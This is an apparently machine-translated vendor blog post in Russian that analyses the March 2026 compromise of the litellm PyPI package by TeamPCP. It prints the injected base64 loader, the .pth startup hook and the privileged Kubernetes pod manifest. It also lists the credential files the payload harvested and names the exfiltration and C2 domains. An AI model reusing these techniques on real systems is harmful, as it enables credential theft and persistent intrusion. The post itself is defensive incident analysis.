Почему это важно
24 марта 2026 года был запущен популярный пакет Python. Лителлм, универсальный прокси-шлюз LLM, используемый тысячами пользователей. enterpriseСервис маршрутизации трафика между приложениями и поставщиками ИИ, такими как OpenAI, Anthropic, Google и AWS Bedrock, был незаметно взломан на PyPI. Две зараженные версии (1.82.7 и 1.82.8) были опубликованы с разницей в 13 минут, содержа многоступенчатую полезную нагрузку, которая похищала учетные данные, похищала секреты облачных сервисов, распространялась по кластерам Kubernetes и устанавливала постоянный бэкдор с возможностью удаленного выполнения кода.
С примерно 3.6 миллионов ежедневных загрузок Благодаря широкому внедрению в облачную инфраструктуру ИИ, litellm находится на стыке всего, что интересует современных злоумышленников: API-ключи для всех основных поставщиков ИИ, учетные данные IAM для облачных сервисов, секреты Kubernetes и ключи SSH.
Но компромисс Литлм не был единичным случаем. Он стал кульминацией целого ряда событий. пятидневная кампания, охватывающая пять экосистем со стороны злоумышленника, известного как TeamPCPКампания, которая сначала отравила сканеры безопасности (Aqua Trivy, Checkmarx KICS), а затем использовала украденные данные. CI/CD Учетные данные передавались дальше по цепочке поставок в npm, OpenVSX и, наконец, PyPI. Злоумышленники использовали в качестве оружия те самые инструменты, на которые организации полагаются для защиты своих цепочек поставок.
Эта атака представляет собой качественный скачок в уровне сложности угроз для цепочки поставок. Многоступенчатая, межсистемная архитектура, ставящая под угрозу инструменты безопасности для доступа к ценным ресурсам. инфраструктура ИИ, Это отражает уровень планирования и операционной зрелости, соответствующий все более коммерциализированным инструментам атак. Полезные нагрузки разрабатывались в режиме реального времени (в исходном коде присутствуют три варианта полезной нагрузки, включая закомментированные более ранние версии), инфраструктура управления и контроля была зарегистрирована за день до атаки, а домены эксфильтрации были тщательно выбраны для имитации легитимной инфраструктуры поставщика. Систематически всеобъемлющий сборщик учетных данных, охватывающий более 15 категорий, включая нишевые цели, такие как ключи подписи Cardano и конфигурации WireGuard, свидетельствует о степени тщательности, указывающей на разработку вредоносного ПО с помощью ИИ как на фактор, многократно усиливающий атаку.
Лента
| Дата (UTC) | События |
|---|---|
| Март 19 | TeamPCP взламывает теги GitHub Actions для Aqua Trivy, заменяя их вредоносным кодом, который осуществляет утечку данных. CI/CD секреты из нижестоящих хранилищ |
| Март 21 | Компромисс распространяется на Checkmarx KICS и AST GitHub Actions, использующие аналогичные методы. |
| 22 марта, 06:35 | BerriAI публикует Litellm 1.82.6 (последнюю чистую версию) через обычный CI/CD pipeline использует Trivy для сканирования безопасности. |
| Март 23 | TeamPCP регистрирует models.litellm.cloud (домен для утечки данных). Содержит более 66 пакетов npm и расширений OpenVSX. |
| 24 марта, 10:39 | litellm 1.82.7 опубликован в PyPI — полезная нагрузка внедрена в proxy_server.py в области видимости модуля. Выполняется при импорте. |
| 24 марта, 10:52 | litellm 1.82.8 опубликовано 13 минут спустя -- добавляет litellm_init.pthЭто хук для настройки пути в Python, который выполняется при каждом запуске интерпретатора Python, а не только при импорте данных в Litellm. Демонстрирует быструю итерацию полезной нагрузки. |
| 24 марта, ~16:00 | PyPI удаляет обе версии после получения жалоб от сообщества. Версии полностью удаляются (не удаляются из индекса), хотя архивы CDN остаются доступными. |
Длительность экспозиции: приблизительно 5.5 часов. В это время любой
pip install litellm,
pip install --upgrade litellm, или CI/CD pipeline Загрузка последней версии привела бы к выполнению полезной нагрузки.
Как проникло вредоносное ПО: каскадная компрометация
Пакет litellm не был взломан напрямую. Злоумышленник получил к нему доступ через... атака на цепочку поставок с двумя переходами:
Aqua Trivy GitHub Action (compromised March 19)
--> LiteLLM CI/CD pipeline runs Trivy without pinned version
--> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner
--> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPI
LiteLLM's CI/CD pipeline Использовали Trivy в качестве сканера безопасности — тот самый инструмент, предназначенный для обнаружения уязвимостей, сам по себе стал вектором атаки. Потому что pipeline Trivy упоминается по изменяемому тегу, а не по закрепленному. commit В результате проверки SHA скомпрометированное действие выполнялось автоматически. Вредоносная программа Trivy похитила секреты среды, включая PYPI_PUBLISH токен, предоставляющий TeamPCP прямой доступ к публикации в проекте litellm на PyPI.
Стратегия «взлома охраны» — отличительная черта кампании TeamPCP. Сначала атакуя инструменты безопасности (Trivy, Checkmarx KICS), злоумышленники одновременно отключили системы обнаружения и получили привилегированный доступ к нижестоящим цепочкам поставок.
Технический анализ: полезная нагрузка
Точки инъекции
Версия 1.82.7 — Выполнение на уровне модуля в litellm/proxy/proxy_server.py (строка 128):
import subprocess, base64, sys, tempfile, os
b64_payload = "<~12KB base64 blob>"
with tempfile.TemporaryDirectory() as d:
p = os.path.join(d, "p.py")
with open(p, "wb") as f:
f.write(base64.b64decode(b64_payload))
subprocess.run([sys.executable, p])
Этот код находится в области видимости модуля между литералом словаря и исходным кодом. showwarning() функция. Она выполняется немедленно, когда litellm.proxy.proxy_server импортируется — что происходит при любом использовании функциональности прокси-сервера litellm.
Версия 1.82.8 - Добавлен litellm_init.pth (Файл конфигурации пути Python):
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...)
Питон .pth файлы в site-packages/ Обрабатываются при каждом запуске интерпретатора, но только строки, начинающиеся с import выполняются как код. Злоумышленник использует это, объединяя всю полезную нагрузку в одну цепочку. import заявление: import os, subprocess, sys; subprocess.Popen(...)Это гораздо более агрессивный метод, чем внедрение через proxy_server.py — он срабатывает даже если litellm никогда не импортируется, при каждом запуске процесса Python. pyproject.toml В дистрибутив были внесены изменения, чтобы включить этот файл:
include = [
{ path = "litellm_init.pth", format = ["sdist", "wheel"] }
]
Таким образом, версия 1.82.8 имеет два независимых пути выполнения: внедрение proxy_server.py (срабатывает при импорте прокси litellm) и файла .pth (срабатывает при любом запуске Python). Избыточность сама по себе примечательна — она защищает от обнаружения или удаления любого из этих путей по отдельности. Переход от выполнения во время импорта к выполнению во время запуска всего через 13 минут после версии 1.82.7 говорит о том, что злоумышленник отслеживал успешность развертывания и быстро вносил изменения.
Этап 1: Комплексный сбор учетных данных
Расшифрованный внутренний скрипт представляет собой тщательную проверку подлинности учетных данных. Он использует os.walk(), glob.glob(), subprocess.check_output()а также прямое чтение файлов для сканирования всей системы:
| Категория | Цели |
|---|---|
| Системная разведка | hostname, whoami, uname -a, ip addr, printenv, ip route |
| SSH | ~/.ssh/id_rsa, id_ed25519, id_ecdsa, authorized_keys, known_hosts, config; ключи хоста из /etc/ssh/ |
| Облачные технологии (AWS) | ~/.aws/credentials, ~/.aws/config; Учетные данные для роли IMDS через 169.254.169.254Менеджер секретов ListSecrets; SSM DescribeParameters |
| Облачные технологии (GCP) | ~/.config/gcloud/ (рекурсивный); $GOOGLE_APPLICATION_CREDENTIALS |
| Облачные технологии (Azure) | ~/.azure/ (рекурсивный); переменные среды |
| Kubernetes | Токены учетных записей служб; ca.crt; пространство имен; kubectl get secrets --all-namespaces; все секреты через API Kubernetes |
| файлы среды | .env, .env.local, .env.production, .env.development, .env.staging — поиск осуществлялся рекурсивно (глубина 6) по /home, /root, /opt, /srv, /var/www, /app, /data, /tmp |
| Docker | ~/.docker/config.json, /kaniko/.docker/config.json |
| Токены пакетов | ~/.npmrc, ~/.vault-token, ~/.netrc |
| Databases | ~/.pgpass, ~/.my.cnf, /etc/mysql/my.cnf, /etc/redis/redis.confКонфигурации MongoDB |
| TLS / SSL | Приватные ключи от /etc/ssl/private/Сертификаты Let's Encrypt, все .pem/.key/.p12/.pfx файлов |
| идти | ~/.git-credentials, ~/.gitconfig |
| CI/CD | terraform.tfvars, terraform.tfstate, .gitlab-ci.yml, Jenkinsfile, ansible.cfg |
| Crypto кошельки | Bitcoin, хранилище ключей Ethereum, пары ключей Solana (валидатор, голосование, стейкинг, кран), ключи подписи Cardano, Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero |
| История Shell | .bash_history, .zsh_history, .mysql_history, .psql_history, .rediscli_history |
| Системная аутентификация | /etc/passwd, /etc/shadowЖурналы аутентификации (принятые SSH-сессии) |
| Ключи веб-перехватчика/API | Поиск веб-сайта Grep для SlackhooksВеб-сайт DiscordhooksКлючи/секреты API в конфигурационных файлах |
| VPN | Конфигурации WireGuard из /etc/wireguard/ |
Этот инструмент для сбора данных обладает энциклопедическими возможностями. Он нацелен не только на учетные данные облачных сервисов, но и на криптовалютные кошельки, пароли от баз данных, конфигурации VPN и многое другое. CI/CD секреты — это говорит о том, что злоумышленник намерен монетизировать скомпрометированные системы, используя различные каналы.
Этап 2: Зашифрованная эксфильтрация
Украденные данные шифруются и передаются с использованием гибридной схемы шифрования:
- AES-256-CBC шифрование всех собранных данных с помощью случайного 32-байтового сессионного ключа (через
openssl enc) - RSA-4096 шифрование ключа сессии с использованием встроенного открытого ключа злоумышленника (дополнение OAEP, посредством
openssl pkeyutl) - Оба файла с зашифрованным текстом объединены в один пакет.
tpcp.tar.gz(tpcp(префикс — «TeamPCP» — постоянно присутствует на протяжении всей кампании) - HTTPS POST к
https://models.litellm.cloud/сContent-Type: application/octet-stream
Домен models.litellm.cloud был зарегистрирован 23 марта — за день до нападения — и предназначен для интеграции с легитимной инфраструктурой Litellm (реальный проект использует...). litellm.aiДаже специалист по сетевой безопасности, анализирующий исходящий трафик, может не отметить трафик, который, по всей видимости, направлен на собственную конечную точку модели Litellm.
Этап 3: Постоянный бэкдор (sysmon.py)
В программу встроен бэкдор, использующий опрос данных и замаскированный под системную телеметрию:
- Тропа:
~/.config/sysmon/sysmon.py - Cервис:
sysmon.service(пользовательский модуль systemd, обозначенный как «Служба телеметрии системы») - ПоведениеПосле первоначального 300-секундного сна опросы
https://checkmarx.zone/rawпримерно каждые 50 минут - ТипыЗагружает URL-адрес, возвращенный контроллером управления (C2), в
/tmp/pglogделает его исполняемым (chmod 755), запускает его в отсоединенной сессии - Отслеживание состояния:
/tmp/.pg_stateпредотвращает повторную загрузку одного и того же полезного содержимого. - Настойчивость:
Restart=always,RestartSec=10— выдерживает сбои и перезагрузки
Домен checkmarx.zone Это опечатка в названии Checkmarx (компании, занимающейся вопросами безопасности). checkmarx.com), разработанная для того, чтобы аналитики SOC, изучающие сетевые журналы, видели трафик, который выглядит как трафик от легитимного поставщика решений в области безопасности. Это преднамеренный способ уклонения, соответствующий более широкой стратегии TeamPCP по сокрытию информации за брендом поставщика решений в области безопасности.
Этап 3b: Перемещение Kubernetes в горизонтальном направлении
Если в скомпрометированной системе есть учетные данные сервисной учетной записи Kubernetes, вредоносная программа перечисляет все узлы кластера и развертывает... привилегированные капсулы каждому из них:
pod_manifest = {
'apiVersion': 'v1', 'kind': 'Pod',
'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'},
'spec': {
'nodeName': node_name,
'hostPID': True, 'hostNetwork': True,
'tolerations': [{'operator': 'Exists'}],
'containers': [{
'name': 'setup',
'image': 'alpine:latest',
'command': ['sh', '-c', drop_cmd],
'securityContext': {'privileged': True},
'volumeMounts': [{'name': 'host', 'mountPath': '/host'}]
}],
'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}],
'restartPolicy': 'Never'
}
}
Каждый модуль:
- Запускается как привилегированный с
hostPID,hostNetworkи полный доступ к файловой системе хоста. - Пользы
chroot /hostустановить то же самоеsysmon.pyбэкдор в корневой файловой системе хоста - Регистрирует его как службу systemd, обеспечивая сохранение данных после удаления пода.
- Названный
node-setup-*вkube-systemпространство имен, чтобы выглядеть как легитимная кластерная инфраструктура
Это означает один скомпрометированный CI/CD Использование исполнителя с доступом к Kubernetes может привести к тому, что каждый узел в кластере будет иметь бэкдор. — катастрофический сценарий горизонтального перемещения для организаций, использующих litellm в качестве прокси-сервера в Kubernetes.
Эволюция полезной нагрузки (закомментированные варианты)
В исходном коде в строках 131-132 содержатся два закомментированных варианта более ранней полезной нагрузки, раскрывающие процесс разработки злоумышленником:
- Все три варианта использовать одну и ту же инфраструктуру для утечки информации (
models.litellm.cloud), открытый ключ RSA-4096, гибридная оболочка шифрования AES-256-CBC + RSA иtpcp.tar.gzименование пакетов - Более ранние варианты добавил слой шифрования RC4 Внутри скрипта сбора данных происходит шифрование собранных данных перед внешней оболочкой AES+RSA. Активная полезная нагрузка (строка 130) упрощена за счет удаления этого внутреннего слоя RC4.
- В более ранних вариантах используется
exec()сStringIOзахват для запуска сборщика в процессе работы, в то время как активная полезная нагрузка используетsubprocess.run()с перенаправлением стандартного вывода — более чистое разделение, позволяющее избежать загрязнения хост-процесса. - Все три варианта ориентированы на одни и те же категории учетных данных и пути их сбора.
- В более ранних вариантах клавиша RC4 представляла собой провокационное оскорбление, соответствующее поведению актера, стремящегося привлечь к себе внимание в Telegram.
Это свидетельствует об активном развитии событий во время операции. Злоумышленник упростил стек шифрования и улучшил изоляцию выполнения, сохранив при этом стабильность целей сбора данных и инфраструктуры эксфильтрации.
Индикаторы компрометации (IOC)
Cеть
| Индикаторные | Тип | Цель |
|---|---|---|
models.litellm.cloud |
Домен | Конечная точка эксфильтрации (HTTPS POST) |
checkmarx.zone |
Домен | Конечная точка опроса C2 (HTTPS GET) /raw) |
Примечание: Внешние ссылки на отчеты checkmarx.zone/static/checkmarx-util-1.0.4.tgz к более ранней фазе KICS кампании TeamPCP. Этот URL-адрес не был обнаружен в проанализированных здесь полезных нагрузках litellm.
Хэши пакетов
| Файл | SHA256 |
|---|---|
litellm-1.82.7.tar.gz |
8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea |
litellm-1.82.8.tar.gz |
d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5 |
Файловая система
| Индикаторные | Тип | Цель |
|---|---|---|
~/.config/sysmon/sysmon.py |
Файл | Постоянный скрипт бэкдора |
~/.config/systemd/user/sysmon.service |
Файл | блок постоянного хранения Systemd |
/tmp/pglog |
Файл | Загружен бинарный файл второго этапа |
/tmp/.pg_state |
Файл | Отслеживание состояния C2 |
litellm_init.pth in site-packages/ |
Файл | Запуск приложения на Python (только для версии 1.82.8) |
tpcp.tar.gz |
Файл | Зашифрованный пакет для эксфильтрации |
Kubernetes
| Индикаторные | Тип | Цель |
|---|---|---|
node-setup-* капсулы в kube-system |
Стручок | Привилегированные капсулы для бокового перемещения |
sysmon.service на узлах кластера |
Cервис | Сохранение данных на уровне хоста посредством выхода из пода. |
криптографический
| Индикаторные | Описание |
|---|---|
| Открытый ключ RSA-4096 злоумышленника |
Отпечаток SHA256:
bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8Встроен во все три варианта полезной нагрузки; один и тот же ключ сообщается во всех других операциях TeamPCP.
|
tpcp префикс в артефактах |
Соглашение об именовании пакетов (tpcp.tar.gz) последовательно на протяжении всей кампании
|
Источник: TeamPCP
Личность злоумышленника, стоящего за этой кампанией, отслеживается следующим образом: TeamPCPТакже известен как PCPcat, Persy_PCP, ShellForce и DeadCatx3.
Известные характеристики:
- Поддерживает каналы в Telegram по адресу:
@Persy_PCPи@teampcpгде они насмехались над охранными компаниями - Работает в различных экосистемах (GitHub Actions, PyPI, npm, OpenVSX).
- Использует домены Typosquat, специфичные для каждого поставщика, на каждом этапе кампании (например,
checkmarx.zoneдля Checkmarx,models.litellm.cloud(для litellm) - Последовательные маркеры инфраструктуры: одна и та же пара ключей RSA,
tpcp.tar.gzсоглашение об именовании,tpcp-docs-*Репозитории GitHub используются в качестве резервных промежуточных хранилищ. - Нацелен на инструменты безопасности как точки входа в цепочки поставок.
Уверенность в атрибуцииВысокий уровень. Общий открытый ключ RSA, tpcp Именование артефактов, дублирование инфраструктуры управления и контроля, а также оперативный темп на протяжении пятидневной кампании убедительно связывают взломы Trivy, KICS, npm, OpenVSX и litellm с одним и тем же злоумышленником.
мотивацияВероятнее всего, это финансовая выгода (кража криптокошелька, монетизация учетных данных в облаке) в сочетании с известностью (насмешки в Telegram). Широкий спектр собираемых учетных данных — от AWS IAM до пар ключей валидатора Solana и конфигураций WireGuard — указывает на то, что злоумышленник преследует финансовые цели, стремясь максимизировать прибыль от каждого взлома.
Возможная помощь ИИ.Сборщик учетных данных систематически охватывает все аспекты — более 15 категорий, включая нишевые цели, такие как ключи подписи Cardano, конфигурации WireGuard и учетные данные Docker Kaniko — что соответствует методу перечисления с помощью ИИ. Скорость итерации полезной нагрузки (три варианта с различными схемами шифрования), межэкосистемная координация (5 экосистем за 5 дней) и операционная безопасность (домены, имитирующие поставщиков, гибридное шифрование, сохранение данных в systemd под видом телеметрии) указывают на уровень производительности, который может отражать эффективность разработки с использованием ИИ как фактора, многократно усиливающего эффект. Эта оценка носит предположительный характер; опытные специалисты могли бы достичь аналогичного масштаба без инструментов ИИ.
Новые тактические приемы и техники
1. Отравление цепочки поставок инструментов безопасности (вариант T1195.002)
Взлом сканеров безопасности (Trivy, KICS) в качестве первого шага для достижения последующих целей — это новый уровень эскалации. Злоумышленник взломал не просто библиотеку — он взломал инструменты, используемые организациями для... обнаруживать скомпрометированные библиотеки. Это создает слепое пятно: сканер, который должен обнаруживать вредоносный код, сам является механизмом его доставки.
2. питон .pth Сохранение файлов (T1546)
litellm_init.pth Техника в версии 1.82.8 особенно коварна. Python .pth файлы в site-packages/ Обрабатываются при каждом запуске интерпретатора; любая строка, начинающаяся с import Выполняется как код. Путем объединения полезной нагрузки в единую цепь. import В заявлении говорится, что злоумышленник добивается выполнения кода во всех процессах Python, а не только при импорте litellm. Это означает, что полезная нагрузка срабатывает, даже если litellm установлен, но никогда не используется, и сохраняется после устранения уязвимости, заменяющей скомпрометированный код. .py файлы без проверки .pth файлы.
3. Перемещение по кластеру Kubernetes через развертывание привилегированных подов (T1610, T1611)
Автоматическое создание привилегированных подов на каждом узле кластера — с помощью hostPID, hostNetworkмонтирование файловой системы хоста и chroot Для установки механизма обеспечения постоянного доступа — развертывания контейнеров с цепочками (T1610) и возможностью выхода на хост (T1611) — можно превратить скомпрометированную рабочую нагрузку в полную компрометацию кластера.
4. Инфраструктура управления и контроля, имитирующая инфраструктуру поставщика.
. models.litellm.cloud (имитирует Литлм) и checkmarx.zone (имитирует Checkmarx) в качестве конечных точек управления/эксфильтрации, предназначен для обхода сетевого мониторинга. Аналитики SOC, проверяющие исходящий трафик, увидят HTTPS-соединения с доменами, которые выглядят как легитимные домены поставщиков.
5. Быстрая итерация полезной нагрузки в полете
Публикация версии 1.82.7 с выполнением во время импорта, а затем версии 1.82.8 с выполнением во время запуска через 13 минут, демонстрирует мониторинг и адаптацию злоумышленника в реальном времени. Закомментированные варианты полезной нагрузки (с различными схемами шифрования), сохраненные в исходном коде, подтверждают активную разработку во время операции.
Что может быть сделано
Эта атака использует доверие на каждом уровне: доверие к инструментам безопасности, доверие к реестрам пакетов, доверие к доменам, которые кажутся знакомыми, доверие к CI/CD автоматизация. Защита от неё требует усиления каждой из этих границ доверия:
Для потребителей, приобретающих товары в упаковке
- Закрепляйте зависимости по хешу, а не только по версии.
pip install litellm==1.82.6 --hash=sha256:...Это предотвратило бы установку скомпрометированных версий, даже если бы они на короткое время отображались как последняя версия. - Используйте файлы блокировки.
pip-compile,poetry.lockиuv.lockЗахватывать точные версии и хеши. CI/CD Установка должна производиться из файлов блокировки, а не из плавающих спецификаторов версий. - Монитор для
.pthфайлы. Регулярный аудитsite-packages/для неожиданного.pthфайлы — они выполняются при каждом запуске Python и являются недооцененным механизмом сохранения данных. - Внедрить средства управления исходящим трафиком в сети. Эксфильтрация в
models.litellm.cloudи опрос C2 дляcheckmarx.zoneЭто могло быть обнаружено с помощью фильтрации исходящего трафика на основе списков разрешенных устройств в производственных средах.
Для сопровождающих пакетов
- шпилька CI/CD действия со стороны commit SHA, а не тег. LiteLLM's pipeline Использовал Trivy без закрепленной версии. Если бы там была ссылка
aquasecurity/trivy-action@<commit-sha>вместо@latestВ таком случае компромиссное решение не было бы реализовано. - Используйте кратковременные, ограниченные по области действия издательские токены. PyPI поддерживает доверенных издателей (на основе OIDC) и токены API с ограниченной областью действия. Украденные данные
PYPI_PUBLISHТокен не должен был иметь длительный и неограниченный доступ к публикации. - Включите двухфакторную аутентификацию в PyPI. Требовать двухфакторной аутентификации для всех обслуживающего персонала и по возможности использовать аппаратные ключи безопасности.
- Подписывайте пакеты. Сертификаты Sigstore/PEP 740 позволяют потребителям убедиться в том, что упаковка была собрана ожидаемым производителем. CI/CD pipeline, а не злоумышленником, использующим украденный токен.
Для операторов платформ (PyPI, npm, GitHub)
- Выявление аномальных моделей публикации. Две новые версии, опубликованные с интервалом в 13 минут и с другого IP-адреса или токена, чем обычно, должны инициировать приостановку проверки или автоматическое сканирование, прежде чем пакет станет доступным для установки.
- Ускорьте внедрение системы Trusted Publishers. Публикация на основе OIDC привязывает пакеты к конкретным репозиториям и рабочим процессам, что делает украденные токены бесполезными за пределами исходного репозитория. CI/CD контекст.
- Внедрить сканирование на наличие вредоносных программ в момент публикации. Декодированная в base64 полезная нагрузка в файле proxy_server.py может быть обнаружена статическим анализом во время публикации.
Для экосистемы
- Рассматривайте средства обеспечения безопасности как критически важную инфраструктуру. Сервисами Trivy и Checkmarx KICS пользуются миллионы людей. pipelineИх действия в GitHub Actions должны быть подписаны, закреплены и отслеживаться с той же тщательностью, что и пакеты, которые они сканируют.
- Инвестируйте в обнаружение угроз во время выполнения. Статический анализ сам по себе не может выявить все методы обфускации. Мониторинг установки пакетов в режиме реального времени. hooksНеожиданные сетевые подключения и подозрительные схемы доступа к файлам обеспечивают многоуровневую защиту.
- Обменивайтесь информацией об угрозах быстрее. 5.5-часовой период воздействия для litellm мог бы быть короче при более быстрой координации между производителями. Автоматизированные сервисы сканирования, такие как Xygeni MEW, Socket и Snyk, обнаружили аномалию — узким местом является подтверждение человеком и время ответа регистратора.
Заключение
Кампания TeamPCP — это переломный момент для software supply chain securityВзломав сначала сканеры безопасности и используя их в качестве промежуточных звеньев на пути к ценной инфраструктуре искусственного интеллекта, злоумышленники продемонстрировали, что цепочка поставок сильна настолько, насколько сильна ее самая слабая транзитивная зависимость, и что именно эта зависимость может быть тем инструментом безопасности, которому вы доверяете.
Компромисс с Litellm особенно подчеркивает растущий риск для инфраструктуры ИИ. Поскольку прокси-шлюзы LLM становятся все более распространенными... standard образец для enterprise При развертывании ИИ доступ к ключам API, учетным данным облака и конфиденциальным данным концентрируется в одном компоненте. Компрометация этого компонента — это своего рода «ключ-скелет» для всей системы ИИ.
Организациям, установившим litellm 1.82.7 или 1.82.8 в течение 5.5-часового периода, следует рассматривать это как полную компрометацию учетных данных: необходимо перенести все секреты на затронутых системах и провести аудит кластеров Kubernetes. node-setup-* капсулы в kube-system, удалите все sysmon.service модули systemd и проверьте наличие litellm_init.pth в Python site-packages/ каталоги. Пользователи официального образа Docker (ghcr.io/berriai/litellm) не были затронуты, поскольку изображение закрепило свои зависимости и не было перестроено в течение окна экспозиции.
Об авторе
Соучредитель и технический директор
Луис Родригес является соучредителем и техническим директором Xygeni Security. Имея более чем 20-летний опыт работы в области безопасности приложений, он специализируется на защите приложений и передовых возможностях анализа кода, которые помогают командам снизить реальные риски при разработке.




